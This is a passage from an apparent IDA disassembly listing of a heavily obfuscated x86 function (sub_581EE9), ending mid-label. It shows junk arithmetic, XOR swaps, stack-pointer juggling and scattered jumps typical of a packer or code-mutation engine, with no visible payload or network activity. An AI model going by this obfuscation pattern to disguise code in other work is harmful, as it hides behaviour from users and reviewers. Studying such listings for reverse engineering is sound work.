		add	ecx, 3AEB6504h
		jmp	loc_59A50F
; ---------------------------------------------------------------------------


loc_59BB37:				; CODE XREF: sub_581EE9+1746Ej
		add	edi, esi
		mov	esi, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		jmp	loc_59EE15
; ---------------------------------------------------------------------------


loc_59BB47:				; CODE XREF: sub_581EE9+1F28Dj
		pop	ebx
		jmp	loc_599BA2
; ---------------------------------------------------------------------------


loc_59BB4D:				; CODE XREF: sub_581EE9+2043Fj
		pop	esp
		mov	[esp-6EBAh+arg_6EB2], ecx
		jmp	loc_594ADA
; ---------------------------------------------------------------------------


loc_59BB56:				; CODE XREF: sub_581EE9+1CCB2j
		add	eax, 1D32915h
		add	ebp, eax
		pop	eax
		push	5C9Eh
		mov	[esp-6EBAh+arg_6EB2], edi
		push	4676h
		mov	[esp-6EB6h+arg_6EAC+2],	ebp
		mov	ebp, 59A57DC1h
		or	ebp, 12F665ABh
		xor	ebp, 26907DDDh
		add	ebp, 5AEE11CDh
		xor	ebp, 0D8551207h
		push	ebp
		jmp	loc_5A6514
; ---------------------------------------------------------------------------


loc_59BB91:				; CODE XREF: sub_581EE9+11997j
		xchg	esi, [esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_59EF2B
; ---------------------------------------------------------------------------


loc_59BB9C:				; CODE XREF: sub_581EE9+196B8j
		mov	[esp-6E9Ah+arg_6E92], edx
		mov	edx, 542976C9h
		xor	edx, 2CB116D1h
		xor	edx, 65AB63A6h
		jmp	loc_5A1030
; ---------------------------------------------------------------------------


loc_59BBB5:				; CODE XREF: sub_581EE9+1F4B3j
		dec	eax
		shr	eax, 7
		sub	eax, 5C2059DBh
		xor	eax, 0D43DDC12h
		mov	ebp, eax
		jmp	loc_59355A
; ---------------------------------------------------------------------------


loc_59BBCA:				; CODE XREF: sub_581EE9+24B04j
		mov	eax, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		jmp	loc_5A0781
; ---------------------------------------------------------------------------


loc_59BBD8:				; CODE XREF: sub_581EE9+251DDj
		push	edx
		mov	edx, esp
		jmp	loc_598334
; ---------------------------------------------------------------------------


loc_59BBE0:				; CODE XREF: sub_581EE9+18055j
		mov	esi, 68272FB9h
		jmp	loc_5972F2
; ---------------------------------------------------------------------------


loc_59BBEA:				; CODE XREF: sub_581EE9+21D27j
		mov	eax, esp
		jmp	loc_5A6062
; ---------------------------------------------------------------------------


loc_59BBF1:				; CODE XREF: sub_581EE9+1EA0Ej
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	ecx
		mov	ecx, 42F13A8Fh
		and	ecx, 79C2213Ch
		neg	ecx
		or	ecx, 4AF854F7h
		add	ecx, 514E2FF9h
		add	ecx, 0AEB1F014h
		jmp	loc_599FA9
; ---------------------------------------------------------------------------


loc_59BC1B:				; CODE XREF: sub_581EE9+21014j
		mov	edx, 54935748h
		add	edx, 6D590EECh
		shl	edx, 1
		push	ebp
		mov	ebp, 812337h
		add	ebp, 55670957h
		shl	ebp, 4
		jmp	loc_59ACFF
; ---------------------------------------------------------------------------


loc_59BC3C:				; CODE XREF: sub_581EE9+24A2Bj
		mov	eax, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		mov	esi, [esp-6E66h+arg_6E5C+2]
		sub	esp, 4
		jmp	loc_5976EB
; ---------------------------------------------------------------------------


loc_59BC4D:				; CODE XREF: sub_581EE9+18756j
		mov	ebp, esi
		push	[esp-6E66h+arg_6E5C+2]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp-6E5Eh+arg_6E58+2]
		pop	ebp
		jmp	loc_59CBA9
; ---------------------------------------------------------------------------


loc_59BC6D:				; CODE XREF: sub_581EE9+17D03j
		mov	esi, [esp+0]
		push	eax
		jmp	loc_59D1BD
; ---------------------------------------------------------------------------


loc_59BC76:				; CODE XREF: sub_581EE9+11C8Aj
		mov	ecx, ebp
		pop	ebp
		jmp	loc_59ADB3
; ---------------------------------------------------------------------------


loc_59BC7E:				; CODE XREF: sub_581EE9+1DBAEj
		pop	edx
		push	eax
		mov	eax, 5F071061h
		jmp	loc_59B57D
; ---------------------------------------------------------------------------


loc_59BC8A:				; CODE XREF: sub_581EE9+19392j
		pop	eax
		add	ecx, esi
		sub	ecx, 6B317990h
		pop	esi
		jmp	loc_5A64AA
; ---------------------------------------------------------------------------


loc_59BC99:				; CODE XREF: sub_581EE9+1D959j
		xor	edx, [esp-6E72h+arg_6E68+2]
		jmp	loc_592A10
; ---------------------------------------------------------------------------


loc_59BCA1:				; CODE XREF: sub_581EE9+1822Cj
		sub	edi, ebx
		mov	ebx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		add	edi, 780B567Ah
		sub	edi, ebx
		jmp	loc_5A0860
; ---------------------------------------------------------------------------


loc_59BCB6:				; CODE XREF: sub_581EE9+22B69j
		add	ah, 0E4h
		sub	ch, ah
		jmp	loc_59E56E
; ---------------------------------------------------------------------------


loc_59BCC0:				; CODE XREF: sub_581EE9+1D797j
		shl	edx, 2
		xor	edx, 1804AE32h
		sub	ebx, edx
		mov	edx, [esp-6EA6h+arg_6E9E]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 397074D7h
		neg	ecx
		jmp	loc_59D8A5
; ---------------------------------------------------------------------------


loc_59BCDE:				; CODE XREF: sub_581EE9+12D74j
		pop	ecx
		xor	edx, 10C00044h
		jmp	loc_5A3B58
; ---------------------------------------------------------------------------


loc_59BCEA:				; CODE XREF: sub_581EE9+24863j
		push	0B29h
		mov	[esp-6E80h+arg_6E76+2],	edi
		jmp	loc_594860
; ---------------------------------------------------------------------------


loc_59BCF7:				; CODE XREF: sub_581EE9+10B64j
		sub	edi, 61B0657Ch
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp-6EA6h+arg_6E9E]
		pop	esp
		jmp	loc_5A48B7
; ---------------------------------------------------------------------------


loc_59BD0D:				; CODE XREF: sub_581EE9+12B37j
		push	esp
		jmp	loc_594CB2
; ---------------------------------------------------------------------------


loc_59BD13:				; CODE XREF: sub_581EE9+2105Fj
		sub	esp, 4
		jmp	loc_593121
; ---------------------------------------------------------------------------


loc_59BD1E:				; CODE XREF: sub_581EE9+1A2F2j
		xchg	edi, [esp-6E5Ch+arg_6E54]
		pop	esp
		jmp	loc_59A747
; ---------------------------------------------------------------------------


loc_59BD27:				; CODE XREF: sub_581EE9+191FFj
		add	esp, 4
		add	[esp+4], ecx
		push	ebx
		mov	ebx, 5EE53AC2h
		sub	[esp+8], ebx
		jmp	loc_5A5B5D
; ---------------------------------------------------------------------------


loc_59BD40:				; CODE XREF: sub_581EE9+131E5j
		pop	ebx
		push	[esp-6EA2h+arg_6E9A]
		pop	eax
		add	esp, 4
		mov	dl, ch
		mov	cx, word ptr [esp-6EA6h+arg_6E9E]
		push	25EDh
		mov	[esp-6EA2h+arg_6E9A], eax
		mov	eax, esp
		push	edx
		jmp	loc_5A6552
; ---------------------------------------------------------------------------


loc_59BD61:				; CODE XREF: sub_581EE9+1ED15j
		push	dword ptr [edi+1Ch]
		push	ebp
		jmp	loc_597CC4
; ---------------------------------------------------------------------------


loc_59BD6A:				; CODE XREF: sub_581EE9+14E99j
		push	edi
		xor	[esp-6E9Ah+arg_6E92], edi
		xor	edi, [esp-6E9Ah+arg_6E92]
		xor	[esp-6E9Ah+arg_6E92], edi
		jmp	loc_59AF4F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E9Ah+arg_6E92]
		push	5B18h
		mov	[esp-6E96h+arg_6E8E], ecx
		sub	esp, 4
		jmp	loc_5A2611
; ---------------------------------------------------------------------------


loc_59BD90:				; CODE XREF: sub_581EE9+10F75j
		sub	ecx, 15B163CDh
		add	ecx, ebx
		push	edi
		jmp	loc_5A4C0D
; ---------------------------------------------------------------------------


loc_59BD9E:				; CODE XREF: sub_581EE9+2354Cj
		add	ecx, ebp
		sub	ecx, 7ABB5E32h
		pop	ebp
		jmp	loc_5A598D
; ---------------------------------------------------------------------------


loc_59BDAC:				; CODE XREF: sub_581EE9+21F22j
		mov	edi, esi
		pop	esi
		add	esi, edi
		pop	edi
		xchg	esi, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		push	2CBh
		jmp	loc_59B6A6
; ---------------------------------------------------------------------------


loc_59BDC0:				; CODE XREF: sub_581EE9+189ABj
		sub	ecx, 3B212D27h
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_5A4773
; ---------------------------------------------------------------------------


loc_59BDD4:				; CODE XREF: sub_581EE9+18D9Ej
		mov	ecx, 74AB77E3h
		sub	edx, ecx
		jmp	loc_5A590A
; ---------------------------------------------------------------------------


loc_59BDE0:				; CODE XREF: sub_581EE9+20CB7j
		mov	eax, 0E614F55h
		dec	eax
		shl	eax, 5
		jmp	loc_5A2ACD
; ---------------------------------------------------------------------------


loc_59BDEE:				; CODE XREF: sub_581EE9+14204j
		mov	[esp-6E9Eh+arg_6E96], eax
		xor	[esp-6E9Eh+arg_6E96], ebx
		jmp	loc_596634
; ---------------------------------------------------------------------------


loc_59BDF9:				; CODE XREF: sub_581EE9+18DF6j
		xor	edx, 0BB57477Bh
		sub	ebp, edx
		pop	edx
		push	ecx
		jmp	loc_59E5F9
; ---------------------------------------------------------------------------


loc_59BE08:				; CODE XREF: sub_581EE9+123A2j
		xchg	bl, dh
		sub	bl, 1
		xchg	bl, dh
		jmp	loc_5A0656
; ---------------------------------------------------------------------------


loc_59BE14:				; CODE XREF: sub_581EE9+1A405j
		sub	ebx, 4E432ABAh
		push	esi
		jmp	loc_5979FD
; ---------------------------------------------------------------------------


loc_59BE20:				; CODE XREF: sub_581EE9+1B7C2j
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp-6E7Ah+arg_6E72]
		pop	esp
		mov	[esp-6E7Eh+arg_6E76], edx
		push	ebp
		mov	ebp, esi
		mov	edx, ebp
		pop	ebp
		push	edx
		mov	edi, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		push	[esp-6E7Eh+arg_6E76]
		jmp	loc_59FCF5
; ---------------------------------------------------------------------------


loc_59BE42:				; CODE XREF: sub_581EE9+12FAAj
		push	edi
		push	ebx
		jmp	loc_5938BC
; ---------------------------------------------------------------------------


loc_59BE49:				; CODE XREF: sub_581EE9+2081Aj
		mov	esi, 4CEC534Eh
		sub	ebx, esi
		pop	esi
		push	edx
		jmp	loc_596EF7
; ---------------------------------------------------------------------------


loc_59BE57:				; CODE XREF: sub_581EE9+1CB8Cj
		mov	di, 6BAAh
		and	di, 1421h
		jmp	loc_5972CF
; ---------------------------------------------------------------------------


loc_59BE65:				; CODE XREF: sub_581EE9+242C8j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E72h+arg_6E68+2]
		pop	esp
		xchg	esi, [esp-6E76h+arg_6E6E]
		jmp	loc_5A0F41
; ---------------------------------------------------------------------------


loc_59BE7E:				; CODE XREF: sub_581EE9+1E0FEj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6E72h+arg_6E68+2]
		pop	esp
		add	ebp, 4
		xor	ebp, [esp-6E76h+arg_6E6E]
		xor	[esp-6E76h+arg_6E6E], ebp
		xor	ebp, [esp-6E76h+arg_6E6E]
		mov	esp, [esp-6E76h+arg_6E6E]
		push	[esp-6E76h+arg_6E6E]
		push	[esp-6E72h+arg_6E68+2]
		pop	eax
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	edx
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esp
		add	[esp-6E6Ah+arg_6E60+2],	4
		jmp	loc_5A5915
; ---------------------------------------------------------------------------


loc_59BEBF:				; CODE XREF: sub_581EE9+1517Dj
		add	[esp-6E6Eh+arg_6E64+2],	4
		push	[esp-6E6Eh+arg_6E64+2]
		jmp	loc_59E6E5
; ---------------------------------------------------------------------------


loc_59BECE:				; CODE XREF: sub_581EE9+19118j
		mov	[esp-6E92h+arg_6E8A], ebp
		jmp	loc_59A7F3
; ---------------------------------------------------------------------------


loc_59BED6:				; CODE XREF: sub_581EE9+16DF9j
		push	edx
		jmp	loc_5A5D4A
; ---------------------------------------------------------------------------


loc_59BEDC:				; CODE XREF: sub_581EE9+20240j
		sub	al, 4Bh
		push	ebx
		mov	bh, 13h
		jmp	loc_59A0DF
; ---------------------------------------------------------------------------


loc_59BEE6:				; CODE XREF: sub_581EE9+1A2C2j
		push	1CACh
		mov	[esp-6E6Eh+arg_6E64+2],	esp
		add	[esp-6E6Eh+arg_6E64+2],	4
		pop	ebx
		jmp	loc_59A757
; ---------------------------------------------------------------------------


loc_59BEF8:				; CODE XREF: sub_581EE9+12DEFj
		mov	[esp-6E92h+arg_6E8A], eax
		mov	al, 0C0h
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		pop	eax
		jmp	loc_59B4A0
; ---------------------------------------------------------------------------


loc_59BF09:				; CODE XREF: sub_581EE9+1D80Fj
		mov	edx, 1D4A396Bh
		inc	edx
		shr	edx, 5
		inc	edx
		jmp	loc_59553A
; ---------------------------------------------------------------------------


loc_59BF18:				; CODE XREF: sub_581EE9+1C3B3j
		mov	eax, 70BC3F88h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_595A1A
; ---------------------------------------------------------------------------


loc_59BF2B:				; CODE XREF: sub_581EE9+217B7j
		add	esp, 4
		push	ebp
		push	[esp-6E92h+arg_6E8E]
		pop	ebp
		pop	[esp-6E92h+arg_6E8A]
		jmp	loc_5A0704
; ---------------------------------------------------------------------------


loc_59BF3F:				; CODE XREF: sub_581EE9+1556Dj
		sub	ecx, 37B28D3h
		jmp	loc_5A40DA
; ---------------------------------------------------------------------------


loc_59BF4A:				; CODE XREF: sub_581EE9+1B179j
		push	ecx
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		mov	ax, word ptr [esp-6E52h+arg_6E48+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp-6E4Eh+arg_6E44+2]
		pop	esp
		xor	dh, 54h
		add	bl, 37h
		add	bl, dh
		jmp	loc_5A5F66
; ---------------------------------------------------------------------------


loc_59BF71:				; CODE XREF: sub_581EE9+1C749j
		mov	ecx, [esp-6E52h+arg_6E48+2]
		jmp	loc_596338
; ---------------------------------------------------------------------------


loc_59BF79:				; CODE XREF: sub_581EE9+223FDj
		xchg	ecx, edx
		jmp	loc_598D73
; ---------------------------------------------------------------------------


loc_59BF80:				; CODE XREF: sub_581EE9+12972j
		not	edi
		or	edi, 3E0735CCh
		jmp	loc_59E3A5
; ---------------------------------------------------------------------------


loc_59BF8D:				; CODE XREF: sub_581EE9+142F0j
		pop	ecx
		sub	esi, 41D60C91h
		add	esi, edx
		add	esi, 41D60C91h
		sub	esi, 4301001Ch
		sub	esi, 39CA0A10h
		jmp	loc_5A00F7
; ---------------------------------------------------------------------------


loc_59BFAD:				; CODE XREF: sub_581EE9+1B905j
		mov	ebp, 23DC772Ch
		or	ebp, 43865A0Bh
		jmp	loc_5A3E66
; ---------------------------------------------------------------------------


loc_59BFBD:				; CODE XREF: sub_581EE9+1D863j
		shr	edi, 8
		jmp	loc_5A49EB
; ---------------------------------------------------------------------------


loc_59BFC5:				; CODE XREF: sub_581EE9+10B5Dj
		add	esp, 4
		jmp	loc_5A6C07
; ---------------------------------------------------------------------------


loc_59BFCD:				; CODE XREF: sub_581EE9+10D4Aj
		xor	dword ptr [esp-6E82h+arg_6E7A],	esi
		xor	esi, dword ptr [esp-6E82h+arg_6E7A]
		mov	esp, dword ptr [esp-6E82h+arg_6E7A]
		or	ebx, ebx
		jnz	loc_593291
		push	ebx
		sub	esp, 4
		jmp	loc_599EC9
; ---------------------------------------------------------------------------


loc_59BFE7:				; CODE XREF: sub_581EE9+22386j
		add	ebx, 86DAD7A9h
		sub	eax, ebx
		push	[esp-6E7Ah+arg_6E72]
		pop	ebx
		push	ecx
		jmp	loc_59F48A
; ---------------------------------------------------------------------------


loc_59BFF9:				; CODE XREF: sub_581EE9+1D19Dj
		push	1392h
		mov	[esp-6E72h+arg_6E68+2],	ebp
		mov	ebp, 662848AEh
		neg	ebp
		and	ebp, 6E5A71FEh
		shl	ebp, 8
		jmp	loc_5A0763
; ---------------------------------------------------------------------------


loc_59C016:				; CODE XREF: sub_581EE9+134C7j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59C01B:				; CODE XREF: sub_581EE9+172E5j
		add	esp, 4
		push	ecx
		push	806h
		mov	[esp-6E62h+arg_6E58+2],	eax
		push	57C1665Eh
		pop	eax
		push	425h
		mov	[esp-6E5Eh+arg_6E54+2],	esi
		mov	esi, 7AAC6F79h
		jmp	loc_596E08
; ---------------------------------------------------------------------------


loc_59C042:				; CODE XREF: sub_581EE9+181F1j
		push	ecx
		push	edx
		mov	edx, 18F82500h
		mov	ecx, 221F0932h
		sub	ecx, 384D55EDh
		add	ecx, edx
		add	ecx, 384D55EDh
		pop	edx
		push	edx
		mov	edx, 9702CF6h
		inc	edx
		dec	edx
		and	edx, 6CFB0EF4h
		not	edx
		jmp	loc_5A19AC
; ---------------------------------------------------------------------------
		push	[esp-6E72h+arg_6E68+2]
		push	[esp-6E6Eh+arg_6E64+2]
		jmp	loc_5995D1
; ---------------------------------------------------------------------------


loc_59C07D:				; CODE XREF: sub_581EE9+15622j
		mov	[esp-6E8Ch+arg_6E84], ebp
		push	esp
		pop	ebp
		push	ebx
		push	ebp
		mov	ebp, 4
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		add	ebp, 420118D3h
		add	ebp, ebx
		sub	ebp, 420118D3h
		jmp	loc_5A6CEB
; ---------------------------------------------------------------------------


loc_59C0A3:				; CODE XREF: sub_581EE9+20106j
		pop	eax
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		xor	dword ptr [esp], 560B07B9h
		pop	eax
		xor	eax, 560B07B9h
		mov	esi, [esp+0]
		push	ebp
		jmp	loc_59DBFD
; ---------------------------------------------------------------------------


loc_59C0C6:				; CODE XREF: sub_581EE9+1E3C7j
		add	eax, 4
		jmp	loc_5997F8
; ---------------------------------------------------------------------------


loc_59C0D0:				; CODE XREF: sub_581EE9+1CD3Dj
		add	[esp+4], ebp
		jmp	loc_597EF0
; ---------------------------------------------------------------------------


loc_59C0D9:				; CODE XREF: sub_581EE9+23233j
		push	edi
		mov	edi, 3EFE6B22h
		sub	edx, edi
		pop	edi
		push	edi
		mov	edi, 11F50A9Ah
		add	edx, edi
		mov	edi, [esp-6E88h+arg_6E80]
		add	esp, 4
		mov	edi, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		sub	edx, 2
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59C111:				; CODE XREF: sub_581EE9+1063Fj
		push	ebx
		mov	bh, 0FEh
		inc	bh
		dec	bh
		jmp	loc_596384
; ---------------------------------------------------------------------------


loc_59C11D:				; CODE XREF: sub_581EE9+13EA0j
		pop	ebp
		jmp	loc_59AFDC
; ---------------------------------------------------------------------------


loc_59C123:				; CODE XREF: sub_581EE9+154DCj
		mov	ecx, [esp+0]
		add	esp, 4
		push	esi
		pop	eax
		pop	esi
		sub	eax, 1924926h
		push	2B65h
		mov	[esp-6E94h+arg_6E8A+2],	ebp
		mov	ebp, 90A461Ch
		xor	ebp, 2DE90617h
		shr	ebp, 1
		add	ebp, 3C046F8Eh
		neg	ebp
		jmp	loc_594F6E
; ---------------------------------------------------------------------------


loc_59C153:				; CODE XREF: sub_581EE9+137FEj
		pop	edx
		jmp	loc_5949F6
; ---------------------------------------------------------------------------


loc_59C159:				; CODE XREF: sub_581EE9+1975Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E7Ch+arg_6E72+2]
		pop	esp
		push	esi
		push	ebp
		mov	ebp, 33C466F4h
		push	edx
		mov	edx, 745851A8h
		add	ebp, edx
		pop	edx
		add	ebp, 0ADDEB402h
		mov	esi, 0C1F56A8h
		jmp	loc_59CBC4
; ---------------------------------------------------------------------------


loc_59C186:				; CODE XREF: sub_581EE9+1DFC6j
		neg	edi
		sub	edi, 0FFFFFFFFh
		or	edi, 2185E99h
		or	edi, 0A70D6Bh
		add	edi, 5A8F3ACh
		add	ecx, edi
		pop	edi
		jmp	loc_59D0DD
; ---------------------------------------------------------------------------


loc_59C1A8:				; CODE XREF: sub_581EE9+213A2j
		xor	bl, al
		push	ebx
		jmp	loc_59BEE6
; ---------------------------------------------------------------------------


loc_59C1B0:				; CODE XREF: sub_581EE9+1AD1Cj
		pop	edx
		xor	ebx, 22E257F6h
		sub	ebx, 3FD867D1h
		sub	ecx, 22FA5698h
		sub	ecx, ebx
		add	ecx, 22FA5698h
		jmp	loc_593EBB
; ---------------------------------------------------------------------------


loc_59C1D0:				; CODE XREF: sub_581EE9+114C8j
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_59BD1E
; ---------------------------------------------------------------------------


loc_59C1E0:				; CODE XREF: sub_581EE9+22339j
		mov	esi, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		push	eax
		push	[esp-6E8Ah+arg_6E84+2]
		pop	eax
		pop	[esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Eh+arg_6E84+2]
		mov	ax, word ptr [esp-6E8Eh+arg_6E84+2]
		jmp	loc_5923F8
; ---------------------------------------------------------------------------


loc_59C1FE:				; CODE XREF: sub_581EE9+17458j
		mov	cl, 9Eh
		push	edx
		jmp	loc_59E66D
; ---------------------------------------------------------------------------


loc_59C206:				; CODE XREF: sub_581EE9+21244j
		sub	esi, 2ED149EFh
		shl	esi, 7
		neg	esi
		jmp	loc_5A39B8
; ---------------------------------------------------------------------------


loc_59C216:				; CODE XREF: sub_581EE9+1AFD0j
		mov	ebp, 0F4B6A5Ch
		push	esi
		mov	esi, 517F1144h
		add	ecx, esi
		pop	esi
		sub	ecx, ebp
		jmp	loc_59B881
; ---------------------------------------------------------------------------


loc_59C22B:				; CODE XREF: sub_581EE9+1D87Ej
		or	ebx, ecx
		pop	ecx
		push	0
		sub	[esp-6EA6h+arg_6E9E], ebx
		pop	ebx
		jmp	loc_59DB1A
; ---------------------------------------------------------------------------


loc_59C23C:				; CODE XREF: sub_581EE9+217D2j
		push	5ED2h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	edx
		jmp	loc_599FF5
; ---------------------------------------------------------------------------


loc_59C253:				; CODE XREF: sub_581EE9+1C6C9j
		push	edx
		mov	dx, 4BFCh
		shr	dx, 5
		add	dx, 4BFDh
		xor	dx, 49F3h
		shr	dx, 2
		xor	dx, 2CA1h
		jmp	loc_5A3E8C
; ---------------------------------------------------------------------------


loc_59C274:				; CODE XREF: sub_581EE9+2399Fj
		mov	ecx, [esp-6E9Ah+arg_6E92]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E96h+arg_6E8E]
		mov	esp, [esp-6E96h+arg_6E8E]
		jmp	loc_59880C
; ---------------------------------------------------------------------------


loc_59C28E:				; CODE XREF: sub_581EE9+17068j
		push	eax
		push	esi
		push	3736043Fh
		pop	esi
		jmp	loc_59A7A6
; ---------------------------------------------------------------------------


loc_59C29B:				; CODE XREF: sub_581EE9+14AACj
		shr	ebp, 2
		push	edx
		push	ecx
		jmp	loc_593C0B
; ---------------------------------------------------------------------------


loc_59C2A5:				; CODE XREF: sub_581EE9+11E0Fj
		sub	ebp, 5FC21A69h
		and	ebp, 0A0B15B1h
		not	ebp
		xor	ebp, 989AB5FCh
		mov	eax, ebp
		jmp	loc_5A4BA7
; ---------------------------------------------------------------------------


loc_59C2C0:				; CODE XREF: sub_581EE9+128E2j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59C2C5:				; CODE XREF: sub_581EE9+22DF6j
		pop	edi
		jmp	loc_5A1203
; ---------------------------------------------------------------------------


loc_59C2CB:				; CODE XREF: sub_581EE9+1E9A8j
		pop	esp
		jmp	loc_594F5D
; ---------------------------------------------------------------------------


loc_59C2D1:				; CODE XREF: sub_581EE9+13D52j
		mov	edx, 5BE8123Bh
		and	ebx, edx
		pop	edx
		not	ebx
		jmp	loc_5A63E4
; ---------------------------------------------------------------------------


loc_59C2E0:				; CODE XREF: sub_581EE9+250C3j
		sub	ebx, 7B322086h
		add	ebx, edi
		add	ebx, 7B322086h
		jmp	loc_59BE14
; ---------------------------------------------------------------------------


loc_59C2F3:				; CODE XREF: sub_581EE9+212C9j
		push	ebp
		mov	ebp, 3A8B7549h
		dec	ebp
		and	ebp, 10DF2628h
		shr	ebp, 5
		push	eax
		jmp	loc_5A6E8E
; ---------------------------------------------------------------------------


loc_59C309:				; CODE XREF: sub_581EE9+1CA47j
		mov	ebp, [esp-6E80h+arg_6E76+2]
		jmp	loc_592553
; ---------------------------------------------------------------------------


loc_59C311:				; CODE XREF: sub_581EE9+23A37j
		push	esp
		jmp	loc_598A9B
; ---------------------------------------------------------------------------


loc_59C317:				; CODE XREF: sub_581EE9+11EBBj
		xor	eax, 83D15817h
		jmp	loc_594D70
; ---------------------------------------------------------------------------


loc_59C321:				; CODE XREF: sub_581EE9+1818Cj
		pop	ebp
		push	edx
		mov	edx, 2AC02904h
		dec	edx
		inc	edx
		jmp	loc_59FA5E
; ---------------------------------------------------------------------------


loc_59C32F:				; CODE XREF: sub_581EE9+168C0j
		push	[esp-6E5Ch+arg_6E58]
		push	[esp-6E58h+arg_6E50]
		jmp	loc_598088
; ---------------------------------------------------------------------------


loc_59C33B:				; CODE XREF: sub_581EE9+1BAEFj
		push	esp
		pop	ebx
		jmp	loc_595DED
; ---------------------------------------------------------------------------


loc_59C342:				; CODE XREF: sub_581EE9+1FF99j
		pop	edx
		xchg	edi, [esp-6E58h+arg_6E50]
		jmp	loc_596B4B
; ---------------------------------------------------------------------------


loc_59C34B:				; CODE XREF: sub_581EE9+15C75j
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], ecx
		jmp	loc_599FD4
; ---------------------------------------------------------------------------


loc_59C356:				; CODE XREF: sub_581EE9+1BE5Aj
		sub	ecx, ebp
		add	ecx, 250F576Ah
		pop	ebp
		add	ecx, 0D85D0D31h
		inc	ecx
		jmp	loc_59FFD0
; ---------------------------------------------------------------------------


loc_59C36B:				; CODE XREF: sub_581EE9+1323Ej
		sub	ebx, esi
		jmp	loc_5947B5
; ---------------------------------------------------------------------------


loc_59C372:				; CODE XREF: sub_581EE9+1B86Fj
		add	al, bl
		push	ecx
		push	eax
		mov	ah, 1
		mov	cl, 0DBh
		jmp	loc_59DE07
; ---------------------------------------------------------------------------


loc_59C37F:				; CODE XREF: sub_581EE9+1F272j
		mov	[esp-6E98h+arg_6E8E+2],	esi
		mov	esi, 1CFD0107h
		and	esi, 5C9A2B57h
		jmp	loc_598062
; ---------------------------------------------------------------------------


loc_59C392:				; CODE XREF: sub_581EE9+14218j
		mov	ebx, 3D721779h
		push	ebx
		xchg	ebp, [esp-6E96h+arg_6E8E]
		not	ebp
		xchg	ebp, [esp-6E96h+arg_6E8E]
		pop	ebx
		jmp	loc_5A0C69
; ---------------------------------------------------------------------------


loc_59C3A6:				; CODE XREF: sub_581EE9+251E8j
		sub	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		and	ecx, 132C3CECh
		neg	ecx
		shl	ecx, 5
		not	ecx
		add	ecx, 1343CD67h
		shl	ecx, 3
		shl	ecx, 4
		or	ecx, 0AC1822h
		dec	ecx
		push	eax
		mov	eax, 43532E3Ch
		xor	eax, 0FD92212h
		jmp	loc_59DB02
; ---------------------------------------------------------------------------


loc_59C3DC:				; CODE XREF: sub_581EE9+1F8A7j
		add	ecx, 5D0160C3h
		push	ebx
		jmp	loc_592ED8
; ---------------------------------------------------------------------------


loc_59C3E8:				; CODE XREF: sub_581EE9+1C91Fj
		push	[esp-6E9Ah+arg_6E92]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		push	[esp-6E92h+arg_6E8A]
		pop	ebx
		push	eax
		jmp	loc_59AE54
; ---------------------------------------------------------------------------


loc_59C401:				; CODE XREF: sub_581EE9+154BCj
		add	esp, 4
		or	eax, eax
		jz	loc_5A5336
		push	dword ptr [edi+28h]
		push	edi
		push	ebp
		jmp	loc_59DEFD
; ---------------------------------------------------------------------------


loc_59C419:				; CODE XREF: sub_581EE9+1658Aj
		pop	edi
		jmp	loc_59F491
; ---------------------------------------------------------------------------


loc_59C41F:				; CODE XREF: sub_581EE9+10904j
		xor	[esp-6EB4h+arg_6EAC], edi
		xor	edi, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		jmp	loc_5A100A
; ---------------------------------------------------------------------------


loc_59C42D:				; CODE XREF: sub_581EE9+1DEA7j
		pop	ecx
		push	dword ptr [esp+0]
		pop	edx
		push	edx
		jmp	loc_59810F
; ---------------------------------------------------------------------------


loc_59C438:				; CODE XREF: sub_581EE9+11C29j
		mov	ax, word ptr [esp-6EAEh+arg_6EA4+2]
		push	904h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_598E0E
; ---------------------------------------------------------------------------


loc_59C455:				; CODE XREF: sub_581EE9+180A3j
		mov	dx, 7AF0h
		push	ebp
		jmp	loc_59B071
; ---------------------------------------------------------------------------


loc_59C45F:				; CODE XREF: sub_581EE9+16A30j
